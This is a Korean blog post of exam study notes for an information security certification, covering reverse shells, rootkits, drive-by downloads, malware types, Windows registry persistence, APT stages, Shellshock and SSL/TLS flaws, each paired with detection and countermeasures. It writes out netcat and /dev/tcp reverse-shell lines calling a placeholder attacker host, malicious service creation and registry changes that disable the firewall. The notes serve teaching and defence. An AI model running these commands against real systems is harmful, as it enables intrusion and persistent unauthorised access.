DongDD's IT

[정보보안기사 실기] 각종 취약점 및 도구 본문

자격증/정보보안기사

[정보보안기사 실기] 각종 취약점 및 도구

DongDD 2018. 5. 15. 16:04

[정보보안기사 실기] 각종 취약점 및 도구



Reverse Shell


Reverse Shell


- 공격자가 서버로 접속하는 것이 아닌 서버에서 공격자에게 통신하도록 만드는 Shell


1. 원격 쉘 획득 종류

1) Bind Shell

- 클라이언트/공격자가 타겟 서버에 접속해 Shell을 얻는 방식

2) Reverse Shell

- 타겟 서버가 클라이언트/공격자에 접속해 클라이언트가 타겟 서버의 Shell을 얻는 방식


2. 목적

- 방화벽을 우회해 Shell을 획득하기 위함

- inbound 정책에 비해 outbound 정책을 허용하는 경우가 많아 내부->외부로 접속하는 리버스 쉘 획득이 용이함


공격 방식


1. nc(netcat)을 이용해 서버의 요청을 받을 listener 구동

- nc -lvp port

-> -l : listening mode

-> -v : verbose mode

-> -p : port 지정


2. 타겟 서버에서 "nc attacker_host port -e /bin/bash" 명령을 실행 시킴

- 공격자가 열어놓은 listening port에 요청이 들어옴

- -e 프로그램 : nc로 접속 후 프로그램 교체


공격 시나리오


1. 내부 침입자는 root 계정을 탈취하기 위해 Telnet Brute Force/Dictionary Attack 수행


2. root 계정을 이용해 root 권한을 갖는 일반 사용자 계정 생성

- 이 후의 침투를 쉽게 하기 위해 생성

- useradd [옵션] 계정명

- 옵션

-> -o : uid 중복 허용

-> -u uid : uid 지정(root : 0)

-> -g gid : gid 지정(root : 0)

-> -d 경로 : home directory 지정


3. 방화벽을 우회하도록 nc 프로그램을 이용한 reverse shell을 cron에 등록

- 주기적으로 reverse shell이 실행되어 공격자의 침투가 가능


4. 공격자는 shell을 주기적으로 획득해 공격 명령 수행


분석 방식


1. root 계정의 원격 로그인 성공 로그 발견

- 로그 파일을 통해 원격에서 접속을 성공한 root 계정의 로그를 찾음


2. ".bash_history" 파일을 통해 root계정에서 실행한 명령 확인

- useradd와 crontab을 조작한 것을 확인


3. 현재 공격자와 shell이 연결되어 있는지 확인

- 연결을 종료하고 userdel로 계정 삭제, crontab에 등록된 reverse shell 실행 명령 제거



Rootkit


Exploit


1. Exploit

- 소프트웨어/하드웨어의 버그, 취약점을 이용해 공격자가 의도한 명령을 실행하게 하는 코드

- 성공 시 프로그램 실행 제어권을 획득하고 공격자의 명령 수행


2. Shell code

- 공격자가 원하는 작업을 수행할 수 있도록 shell을 실행시키는 코드

1) Buffer overflow exploit

- return address에 shell code를 사용해 shell code를 실행시켜 shell 회득

- shell을 통해 명령 수행


CVE(Common Vulnerabilities and Exposure)


1. CVE

- 공개적으로 알려진 보안 취약점을 표준화한 식별자 목록

CVE-YYYY_NNNNN

- YYYY : 취약점 발견 연도

- NNNNN : 취약점 번호


2. CWE(Common Weakness Enurmeration)

- 소프트웨어에서 발생하는 약점을 분류한 목록을 제공

1) 보안 약점/보안 취약점

- 보안 약점(Weakness) : 공격에 사용될 수 있는 소프트웨어의 결함, 오류

- 보안 취약점(Vulnerability) : 해킹 등 공격에 이용되는 소프트웨어의 보안 약점이나 허점

2) SDLC(Software Development Life Cycle, 소프트웨어 개발 생명 주기)

- 개발하는 전 과정을 단계별로 나눈 것

- SDLC 과정에서 소프트웨어 약점이 생길 수 있기 때문에 생명 주기에 대한 취약점 목록 포함

3) CVE/SANS TOP 25

- 개발자가 범하기 쉬운 위험한 25가지 소프트웨어 취약점 목록을 유형별로 분류


공격 방식


1. 해당 웹 서버의 취약점 스캔을 통해 외부로 노출되어있는 관리자 페이지와 관리자 계정 탈취


2. 지속적인 공격을 우히ㅐ 루트킷을 설치하고 crontab에 reverse shell 등록

- 공유 폴더인 /tmp에서 rootkit 다운로드 후 설치

- crontab에 reverse shell 실행 명령 등록


3. reverse shell을 이용해 추가적인 공격


분석 방법


1. 외부로부터 취약점 스캔이 발생한 것을 로그로 파악하고 외부에서 접근이 불가능한 관리자 페이지가 정상 응답(200)을 보낸 것을 확인


2. 관리자 페이지를 통해 설치될 수 있는 rootkit 탐지

- chkrootkit 프로그램 이용

- rpm을 통해 무결성 검사


3. rpm을 통해 변조된 명령어의 패키지 재설치

- 파일 속성을 바꿔 재설치가 불가능하다면 chattr을 이용해 i 속성 제거 후 재설치


4. 현재 공격자와 shell이 연결되어 있는지 확인

- 연결을 종료하고 crontab에 등록된 reverse shell 실행 명령 제거



Drive By Download


Drive By Download

- 홈페이지 해킹 후 사용자 PC의 취약점을 익스플로잇하는 악성 코드를 은닉시키고 취약한 PC가 해당 홈페이지 접속하는 경우 악성 코드가 다운로드외어 설치되는 공격
- 난독화된 악성 스크립트가 다양한 경유지를 거쳐 최종 유포지로 접속해 다운로드하도록 유도됨

1. 페이지

1) 방문 페이지(Landing Page)

- 웹 사이트 방문 시 현재 브라우저가 보여주는 메시지

2) 경유 페이지(Passage Page)

- 악성 스크립트가 삽입되어 있는 방문 페이지

3) 중계 페이지(Hopping Page)

- 경유 페이지-유도페이지를 연결해주는 페이지

4) 유포 페이지(Distribution Page)

- 실제 exploit과 악성 코드가 저장되어있고 유포하는 페이지


2. 탐지 기술

1) 정적 분석 기술

- 소스 코드를 분석해 악성코드 경유지/중계지/배포지, 악성 스크립트가 포함되어 있는지 분석

- 장점 : 속도가 빠름(알려진 패턴)

- 단점 : 신종 악성코드 탐지가 어려움

2) 동적 분석 기술(행위 분석)

- 가상 환경을 구축하고 다양한 취약점에 노출시킨 홈페이지에 접속해 이상행위를 분석하는 기법

- 장점 : 신종 악성코드 탐지 가능

- 단점 : 속도가 늘미


난독화(Obfuscation)


- 공격자는 코드의 가독성을 낮춰 분석을 어렵게 하기 위해, 패턴 기반 보안 장비를 우회할 목적으로 사용


1. 자바 스크립트 난독화

1) 분할 난독화(Split Obfuscation)

- 문자열을 다수의 문자열로 나눈 후 재조합해 출력하는 방식

- <iframe>과 같은 문자열의 필터링을 <if, rame>과 같이 나눠 필터링을 우회

2) 10진수 난독화

- 문자열의 각 문자를 아스키코드 10진수로 인코딩하여 난독화

3) 16진수 난독화

- 문자열의 각 문자를 16진수로 표현하는 인코딩 방식으로 난독화


공격 방식


1. 파일 업로드 취약점이 존재하는 페이지를 찾아 Webshell, 악성 스크립트 업로드


2. Webshell을 이용해 기본 페이지를 변조해 악성 스크립트 삽입


3. Command Execution 취약점이 있는 경우 접근 로그를 삭제

- access_log를 삭제해 접근 기록을 지움


4. 유포지에 접속한 사용자의 취약점을 이용해 Reverse shell 실행, 악성 스크립트를 통한 정보 탈취


분석 방식


1. 악성 코드 경유지/배포지로 사용되는 것을 알게 되면 access_log 확인

- 업로드된 파일을 확인해 Webshell, 악성 스크립트 파일을 찾음

- 신규 자바스크립트 파일이 호출된 기록을 보고 악성 스크립트 파일을 찾음

- access_log를 삭제하려는 시도가 발견되었다면 Command Execution 취약점 보완


2. 악성 스크립트 파일을 사용하는 페이지 조사


3. 악성 코드의 유포 과정 분석



악성코드 행위 분석


악성코드(Malware)


- 악성 행위를 위해 개발된 모든 소프트웨어


1. 종류

1) Downloader

- 악성코드에서 지정한 외부 주소에 접속해 추가 악성코드를 다운로드해 실행시키는 악성코드

2) Dropper

- 자신 내부에 포함되어 있는 데이터를 이용해 악성코드 생성

- 드롭되는 악성 코드는 압축/암호화되어있어 백신을 이용한 탐지가 어려움

-> Injector : 새로운 파일이 아닌 데이터를 이용해 새로운 프로세스를 실행해 메모리에 상주시킴

3) Keylogger

- 입력되는 정보를 가로채 기록하는 악성코드

4) Backdoor

- 감염된 PC의 특정 포트를 열어 두어 인증없이 원격 접속을 할 수 있게 해주는 악성코드

5) Trojan horse

- 정상 소프트웨어인 것처럼 위장한 악성코드

6) Ransomware

- 사용자 파일을 암호화시켜 복호화를 위한 금전적인 요구를 하는 악성코드

7) Adware

- 광고 목적으로 만들어진 악성코드로 팝업, 시작 페이지 변경 수행

8) Spyware

- 동의없이 설치되어 개인정보 및 여러 정보들을 수집하는 악성코드

9) Virus

- 정상적인 파일, 시스템에 접속해 악성코드를 삽입하거나 설치하는 악성코드

10) Worm

- 자기 자신을 레지스트리에 등록하거나 복사본을 생성해 전파하는 악성코드(스스로 증식해서 확산)

11) Rootkit

- 악의적 프로그램을 숨기기위한 목적의 악성코드

12) Bootkit

- 부팅 영역인 MBR을 조작하는 악성코드

-> 파괴형 : MBR과 VBR을 의미없는 문자열로 채워 정상 부팅을 못하게 함

-> 은신형 : VBR의 빈 영역에 악성코드를 설치해 백신 탐지를 막음


2. 악성코드 분석을 위한 Unpacking

- Packing : 크기를 줄이고 내부 코드, 리소스를 갖추기 위해 압축/암호화

- 자신의 행위가 분석되는 것을 막기 위해 패킹된 악성코드를 언패킹하여 분석해야함


3. 악성코드 분석 방법

1) 정적 분석

- debugger, disassembler를 이용해 실제 악성코드를 실행하지 않고 분석

- Tool : IDA, Ollydbg 등

2) 동적 분석

- 악성코드를 제한된 실행 환경에서 직접 실행하여 동작 과정을 분석


Windows PE File


- 윈도우의 실행 파일 포맷

- Linux의 COFF(Common Object File Format)을 기반으로 만든 윈도우의 파일 구조

- EXE, DLL, SYS, OBJECT 등의 파일이 있음


1. 구조

- PE Header, Section Header, Section으로 구성

- 모든 파일은 동일한 PE Header를 갖고 있음

1) PE Header

- IMAGE_DOS_HEADER : DOS에서 윈도우 PE 파일 실행 시 오류 메시지를 보여주고 실제 윈도우 용 PE 헤더 위치를 가리킴(MZ Signature)

- MS-DOS Stub Program : DOS에서 윈도우 PE 파일 실행 시 출력해주는 오류 메시지를 저장

- IMAGE_NT_HEADER : 4bytes의 Signature(PE\x00\x00)과 IMAGE_FILE_HEADER와 IMAGE_OPTION_HEADER를 가짐

2) Section Header

- 각 섹션 데이터를 메모리에 로딩하고 속성을 설정하는데 필요한 정보를 담고 있음

3) Section

- PE 파일이 가상 주소 공간에 로딩된 후 프로그램 실행경로, 데이터, 리소스 등의 정보를 배치한 영역

- Code

-> .text : 프로그램 실행 코드 섹션

- Data

-> .data : 읽기/쓰기가 가능한 데이터 섹션(전역변수, 정적변수가 위치)

-> .rdata : 읽기 전용 데이터 섹션(상수형 변수, 문자열 상수가 위치)

-> .bss : 초기화되지 않은 전역변수가 위치

- Import API

-> .idata : import한 DLL과 API/함수들에 대한 정보를 담고있는 섹션(IAT)

-> .didat : 지연 로딩 import data를 위한 섹션

- Export API

-> .edata : export할 DLL과 API/함수들에 대한 정보를 담고있는 섹션

- Resource

-> .rsrc : dialog, icon, cursor 등의 윈도우 어플리케이션 리소스 관련 데이터들을 담고 있는 섹션

- Relocation

-> .reloc : 실행 파일에 대한 기본 재배치 정보를 담고 있는 섹션


Windows Registry


- 윈도우 시스템의 운영에 필요한 필요한 정보를 담고 있음

- Key와 Value로 구성

-> Key : Rootkey, Subkey

-> Value : name, type, data

- Hive File : 레지스트리 정보를 저장한 물리적인 파일

- Master Key : 윈도우 부팅 시 Hive File에서 값을 읽어 구성

-> HKLM, HKU

- Derived Key : Master Key에서 값을 가져와 재구성

-> HKCU, HKCC, HKCR

- regedit 명령으로 registry 정보 조회/수정/추가/삭제


1. Root Key

1) HKCR(HKEY_CLASSES_ROOT)

- 파일 확장자, 확장자에 대한 연결 프로그램 정보

2) HKCU(HKEY_CURRNET_USER)

- 현재 로그인중인 사용자의 환경설정 정보(제어판 설정, 네트워크 설정 등)

- HKU 루트 키에 있는 해당 사용자 정보에 대한 링크

3) HKLM(HKEY_LOCAL_MACHINE)

- 시스템 전체에 적용되는 하드웨어와 응용 프로그램의 설정 데이터 저장

4) HKU(HKEY_USERS)

- 각 사용자 별로 키 항목을 생성해 환경설정 정보 저장

- 각 사용자의 hive file인 ntusers.data 파일을 로드해 생성

5) HKCC(HKEY_CURRENT_CONFIG)

- 현재 사용중인 윈도우의 하드웨어 프로필 정보


공격 방식


1. 윈도우 시작 시 악성코드 자동 실행

- HKLM에 있는 Run을 조작해 윈도우 시작 시 자동으로 실행되는 프로그램 지정

- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run에 악성코드를 등록해 윈도우 시작 시 악성코드가 실행되게 함


2. 서비스 자동 실행 조작

- HKEY_LOCAL_MACHINE\SYSTEM\CurrnetControlSet\Services\Service_name에 서비스 자동 실행 등록

- sc 명령어로 등록 가능

sc create [service_name] binpath=[service_path] displayname=[서비스 관리자에 보여질 이름] start=auto obj="NT AUTHORITY\LocalService"

- 위 명령어로 악성코드를 추가해 자동으로 실행되도록 조작


3. Context Menu에 악성코드 추가

- HKEY_CLASSES_ROOT\Directory\shell\CommandPrompt\command에 악성 코드 path 등록

- 디렉토리 우클릭 시 보일 목록에 cmd.exe 실행이 악성코드 실행으로 바뀜


4. 특정 확장자 실행 시 악성코드 실행

- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\[batfile | comfile | exefile]\shell\open\command에 악성 코드 추가

- 해당 확장자 실행 시 악성코드가 실행됨

- 기본 값 앞에 악성코드 경로를 추가하면 악성코드 실행 후 원래 파일 실행

- exefile : exe 확장자, comfile : com 확장자, batfile : bat 확장자


5. 윈도우 방화벽 우회

- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile의 EnableFirewall 값을 0으로 바꿔 방화벽 비활성화

- StandardProfile\AuthorizedApplications\List에 악성코드를 추가해 방화벽 예외 허용 추가(Enabled)


6. 숨김 파일 설정

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced의 Hidden 값을 0 or 2로 수정해 숨김 파일을 표시하지 않도록 설정

- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hideen\SHOWALL의 CheckedValue 값을 0으로 설정해 사용자가 '숨김 파일 보기'를 변경할 수 없도록 설정


7. 숨김 파일 설정

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced의 ShowSuperHidden 값을 0으로 수정해 운영체제 파일을 숨김

- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden의 CheckedValue 값을 0으로 설정해 사용자가 '운영체제 파일 보기'를 변경할 수 없도록 설정


분석 방식


1. 분석툴을 이용해 동적 분석을 수행


2. 악성코드 파일이 추가되었거나 수정된 파일을 확인


3. 레지스트리 변경 내역을 파악하고 수정



Watering Hole


APT(Advanced Persistent Threat)


- 특정 표적을 대상으로 취약점을 파악하고 다양한 공격으로 정보 탈취, 시스템 파괴 등의 피해를 입히는 공격 프로세스

- Advanced : 단일 공격이 아닌 다양한 공격 기법을 조합해 수행

- Persistent : 공격 목표를 달성할 때까지 흔적을 남기지 않고 지속적으로 공격 수행

- 불특정 다수가 아닌 특정 대상을 정해 장기적으로 공격


1. 공격 단계

1) 초기 정찰(Initial Reconnaissance)

- 다양한 공개 정보를 활용해 공격 대상에 대한 정보 수집

2) 초기 침입(Initial Compromise)

- 수집한 정보를 바탕으로 공격 대상 네트워크로 악성코드를 유입시키고 침입

- Spear Phishing, Watering Hole 등의 기법 이용

3) 거점 마련(Established Foothold)

- 다양한 기능을 수행하는 백도어를 통해 연결을 생성하고 추가 공격을 위한 도구를 다운로드하는 단계

- 아웃바운드 필터링이 허술한 점을 이용해 Reverse shell을 이용하고 보안 솔루션이 탐지하지 못하도록 암호화 통신 수행

4) 권한 상승(Escalate Permission)

- 침투한 시스템에서 exploit, zero-day attack 등을 수행해 권한 상승

5) 내부 정찰(internal Reconnaissance)

- 공격 도구를 이용해 공격 대상 내부 시스템/네트워크 정보 수집

6) 내부 침투(Internal Laterally)

- 내부 정찰로 수집한 정보를 이용해 내부에 있는 다른 시스템을 추가적으로 공격하고 제어하는 단계

7) 지속성 유지(Maintain Presence)

- 백도어를 통해 공격 대상 시스템에 대한 연결을 지속적으로 유지

8) 목표 달성(Complete Mission)

- 최종 공격 목표 달성


2. 침투 기법

1) Spear Phishing

- 특정 대상을 목표로 신뢰할만한 이메일인 것처럼 위장 이메일 발송, 악성 웹사이트 유도 등을 통해 악성코드에 감염시키는 방식

2) Watering Hole

- 표적에 대한 정보를 수집해 주로 방문하는 웹사이트를 파악해 악성코드를 심어놓고 표적이 이 웹사이트를 방문하기를 기다려 악성코드를 감염시키는 방식

3) USB 메모리 스틱 이용

- USB 메모리에 악성코드를 삽입하고 조직 내부의 사람이 이 USB를 연결하기를 기다려 악성코드를 감염시키는 방식


Cyber Kill Chain


- 공격자의 공격 단계 중 어느 한 단계의 공격을 탐지/차단/대응해 공격 목표 달성 이전에 무력화시키는 방어 시스템

- APT 공격에 대응하는 효과적인 전략


1. 대응 유형

- Detection(탐지) : 공격자의 공격 행위 발견

- Deny(거부) : 공격자의 접근 차단

- Disrupt(교란) : 공격을 위한 정보의 흐름 방지

- Degrade(약화) : 공격의 효율을 감소시킴

- Deceive(기만) : 정보를 조작해 공격자의 잘못된 판단 유도

- Destroy(파괴) : 공격자/공격 도구가 기능을 수행하지 못하도록 손상시키고 복구시킬 수 없게 함


SSH Port Forwarding


- SSH 클라이언트가 SSH 서버에 접속해 모든 연결을 다른 어플리케이션에서 이용하여 통신할 수 있게 해주는 기술(= tunneling)

- Listening port를 여는 방식에 따라 분류됨

- 장점 : SSH의 보안기능을 그대로 사용할 수 있음

- 단점 : 방화벽을 우회해 내부 시스템에 침투하는 공격에 악용될 수 있음


1. Local Port Forwarding

- 어플리케이션 클라이언트가 접속할 리스닝 포트를 SSH 클라이언트 호스트에 생성해 포워딩하는 방식

- SSH 클라이언트가 SSH 서버에 접속해 연결이 생성되면 어플리케이션 클라이언트가 리스닝 포트에 접속해 서버와 통신

SSH -L listening_port:host:port ssh_server_host


2. Remote Port Forwarding

- 어플리케이션 클라이언트가 접속할 리스닝 포트를 SSH 서버 호스트에 생성해 포워딩하는 방식

- SSH 클라이언트가 SSH 서버에 접속해 연결이 생성되면 어플리케이션 클라이언트가 리스닝 포트에 접속해 서버와 통신

SSH -R listening_port:host:port ssh_server_host


NTFS


- 윈도우에서 사용하는 파일 시스템


1. MBR(Master Boot Record)

- 파티션 생성 시 물리적 디스크 첫번째 섹터의 512 bytes 부분

-> Partition : 물리적인 디스크를 논리적인 영역으로 나눈 부분

- 운영체제 부팅 시 BIOS가 POST과정을 거친 후 MBR의 부트 코드를 호출하고 부팅 가능한 파티션을 찾아 해당 파티션 VBR의 부트 코드 호출

1) Boot Code

- 파티션 테이블에서 부팅 가능한 파티션을 찾아 해당 파티션 VBR의 부트 코드를 호출하는 기계어(446 bytes)

2) Partition Table

- 디스크의 파티션 정보를 담고있는 table(16 bytes의 entry 4개, 총 64 bytes)

- entry마다 하나의 파티션을 가짐, 총 4개 표현

-> 4개 초과시 EBR(Extended Boot Record)로 관리

3) Signature

- 정상적인 MBR 영역임을 나타냄(0x55AA)


2. NTFS 구조

1) VBR(Volume Boot Record)

- 가장 앞 부분에 위치해 윈도우 부팅을 위한 기계어 코드와 볼륨/클러스터 크기, MFT 시작 주소 등의 설정 정보를 가지고 있음

- 파티션의 마지막 섹터에 VBR 백업본이 있음

2) MFT(Master File Table)

- 모든 파일, 디렉토리에 대한 정보를 가지고 있음

- MFT entry들로 구성

-> MFT entry : 하나의 파일, 디렉토리에 대한 정보를 담고있는 자료구조

- MAC Time : M(Modification), A(Access), C(Creation)

-> MAC Time을 이용해 파일 조작 여부 확인

-> Linux : inode의 C(change) 속성 이용

3) Data 영역

- 실제 파일들의 내용이 저장


3. 디스크 파괴형 악성코드

- MBR, VBR에 쓰레기 값을 넣어 손상시킨 후 정상적인 부팅이 불가능하도록 만드는 악성코드

- 3.20 사이버 테러 때 이용됨

-> 금융권, 방송사를 대상으로 PC의 MBR 영역을 특정 문자열(PRINCPES, HASTATI)로 덮어써서 부팅되지 않게 함

1) 복구 방법

- MBR 손상 시 : 부트 코드를 정상적이 디스크에서 복사하고 각 파티션 정보를 수집해 파티션 테이블을 완성시켜 복구

- VBR 손상 시 : 파티션의 마지막 섹터에 있는 VBR 백업 본을 이용해 복구


GNU Bash 취약점


Bash


1. 변수, 함수 선언/사용

- set 명령을 통해 선언된 모든 변수, 함수 목록을 볼 수 있음(unset 변수명 : 해당 변수 삭제)

- env 명령을 통해 환경 변수, 함수 목록을 볼 수 있음

- echo $$ : 현재 bash의 pid의 확인

1) 지역 변수

- 변수명=변수값으로 선언

- $변수명으로 사용

- 지역 변수는 선언한 쉘에서 사용 가능하며 자식 쉘에서는 사용 불가

2) 환경 변수

- 자식 쉘에서도 사용할 수 있는 변수

- export 변수명=변수값으로 선언

3) 함수 선언/사용

- 함수명() { 함수 내용 }으로 선언

- 선언한 쉘 내에서만 사용 가능

- 환경 변수로 선언 시 자식 쉘에서도 사용 가능함

-> export func='() { 함수 내용 }' 으로 선언


Shell Shock


- 환경 변수에 함수 선언을 하고 ; 후에 임의의 명령어를 삽입하는 경우 자식 쉘 생성 시 환경 변수 목록을 생성하는 과정에서 해당 명령어가 실행됨

- 취약점 버전에서만 발생하고 최신 버전은 패치되어있는 경우가 많음


CGI Bash 취약점


- CGI : 웹 서버에 요청된 페이지를 응용 프로그램에 전달, 처리하기 위한 인터페이스

- ShellShock 취약점을 이용해 User-Agent와 같은 환경변수로 저장되는 변수에 함수+실행할 명령어를 넣어 원하는 정보 획득 및 명령어 사용


1. Reverse shell 연결

1) /dev/tcp 파일을 이용한 reverse shell

- User-Agent에 함수를 선언하고 명령에 /bin/bash > /dev/tcp/공격자_host/공격자_port 0<&1을 삽입

- bash의 출력들이 공격자_host로 tcp를 통해 전달

2) nc를 이용한 reverse shell

- User-Agent에 함수를 선언하고 명령에 nc 공격자_host 공격자_port -e /bin/bash 명령을 삽입해 서버에서 공격자에게 접속하는 reverse shell을 수행하도록 함


2. 악성 코드 다운로드

- User-Agent에 함수를 선언하고 명령에 wget을 이용해 악성코드가 다운로드 되도록 함


3. WebShell 생성

- User-Agent에 함수를 선언하고 명령에 웹으로 전달받는 인자를 통해 명령이 실행되도록 하는 코드를 삽입

- 웹에서 인자를 넘겨 악성코드를 다운로드 시키거나 명령을 실행시킴


대응 방안


1. 취약한 버전의 Bash를 최신 버전으로 업데이트


2. CGI 사용이 불필요한 경우 삭제, 중지


3. Snort를 이용해 shell shock 공격에 사용되는 함수 선언 구문을 차단



SSL/TLS 취약점


HeartBleed 취약점


- 통신 구간 암호화에 사용되는 OpenSSL 라이브러리의 HeartBeat 확장 모듈의 버그로 서버에 저장된 중요 메모리가 노출되는 취약점

- 클라이언트의 요청 메시지를 처리할 때 데이터 길이를 검증하지 않아 시스템 메모리에 저장된 64kb 크기의 데이터를 탈취

- 원하는 데이터보다 큰 길이를 설정해 보내 나머지 부분에 서버 측 정보가 노출되도록 함

- CVE-2014-0160


1. 대응 방안

1) 취약점이 없는 OpenSSL 버전으로 업데이트

2) snort를 이용해 payload 길이를 분석해 HeartBleed 공격 탐지


FREAK 취약점


- SSL을 통해 강제로 취약한 RSA로 다운그레이드 시키는 취약점

- s3_clnt.c의 ssl3_get_key_exchange 함수에서 발생

-> MITM을 통해 512 bits RSA로 다운그레이드

- MITM을 통해 취약한 "export_grade"의 RSA를 이용하게 함

- "RSA_EXPORT" 기능을 제공하는 경우에 발생

-> openssl s_client -connect domain:443 -cipher EXPORT

-> 위 명령어로 취약점 판단("alert handshake failure"시 변조)

- CVE-2015-0204


1. 대응 방안D

1) 취약한 OpenSSL 버전 사용 시 최신 버전으로 업데이트

2) 취약한 OS, 브라우저 업데이트


LogJam 취약점


- MITM을 통해 TLS 통신을 다운그레이드 시키는 취약점

- Ephemral Diffie-Hellman 키 교환을 이용해 TLS를 512 bit Export 버전으로 다운그레이드

- DHE_EXPORT를 지원하는 TLS 서버가 취약함


1. 대응 방안

1) 최신 버전의 브라우저로 업데이트

2) 서버는 Export용 cipher suite 사용 금지

3) 2048 bit의 DIffie-Hellman 사용 or ECDHE 사용


POODLE 취약점


- SSL/TLS 협상 시 버전을 다운그레이드 시켜 SSLv.30을 사용하게 한 후 MITM 공격을 통해 정보를 탈취하는 공격

- SSLv3.0의 CBC모드를 사용하는 경우 패딩된 암호 블록이 MAC에 의해 보호되지 않는 취약점


1. 대응 방안

1) SSLv3.0을 사용하지 않도록 함

2) OpenSSL을 최신 버전으로 업데이트


DROWN 취약점


- SSLv2.0 취약점을 이용한 교차 프로토콜 공격

- SSLv2.0을 사용하는 서버에 악성 패킷을 보내 인증서 키 값을 알아내고 키 값을 이용해 통신 내용을 복호화해 정보를 탈취하는 공격


1. 대응 방안

1) SSLv.2.0을 사용하지 않도록 함

2) OpenSSL을 최신 버전으로 업데이트



Comments